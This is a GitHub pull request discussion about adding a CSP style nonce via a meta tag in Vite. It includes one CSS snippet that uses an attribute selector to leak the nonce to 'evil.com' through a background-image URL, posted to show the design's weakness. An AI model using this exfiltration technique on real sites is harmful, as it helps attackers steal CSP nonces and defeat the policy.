-
-
Notifications
You must be signed in to change notification settings - Fork 6.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
fix: add style nonce to comply with content security policy (fix #11862) #11864
Conversation
785190f
to
22724af
Compare
22724af
to
7f5be23
Compare
Thanks for the PR @justin-tay! I added it to be reviewed in the next team meeting. |
c97e627
to
ddaeb24
Compare
@patak-dev I'm wondering, what was the result of the team meeting? 💡 |
We briefly touched on this and there was a positive consensus to add the feature. But we're unsure what is the proper convention to follow. It is still up for discussion. It would be helpful to get a more detailed list of projects using the proposed convention and alternatives. |
The libraries I've seen generally fall under the following categories
Having the value in the meta tag attribute makes for a convenient starting point to retrieve the nonce value generated by the backend to set in the rest of the libraries since sometimes you end up with more than one library.
|
This is a good solution to Vite's lack of strict CSP support. What do we have to do to move this along? |
You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce anttribute value, you actually need js. |
@gregtwallace thank you for pointing this out! You might also want to have a look at #14653, in case you haven't yet 🙌 |
Thanks! I just popped over there actually. I think these two ideas together are the ideal solution. I left a comment over there. :) |
I was quite curious if this was true, considering that setting the nonce in the content attribute is used by the somewhat popular CSS-in-JS library. While it's not the easiest thing to exploit, it does look like it's a vulnerability as opposed to using the nonce attribute. :has(meta[property='csp-nonce'][content='whatever']) ~ * {
background: url('https://evil.com/nonce?whatever');
} |
ddaeb24
to
c219633
Compare
Is this still open or has it been abandon due to the conflicts ? |
Description
Fixes #11862
Additional context
Unlike webpack there's no standard convention for where to get the nonce value from. For instance webpack style-loader will get it from
window.__webpack_nonce__
. Setting the nonce in a meta tag seems to be a cssinjs convention. See https://cssinjs.org/csp/?v=v10.9.2 but I also seen it used in https://github.com/marco-prontera/vite-plugin-css-injected-by-js.The actual server that is serving the html file and generating the CSP headers is responsible to generate or rewrite the nonce placeholder value in the meta tag with a random nonce.
The project at https://github.com/justin-tay/vite-csp-issue can be used to see the issue and the fix.
I'm not sure how to add a test case for this. I have added a test to the css playground.
What is the purpose of this pull request?
Before submitting the PR, please make sure you do the following
fixes #123
).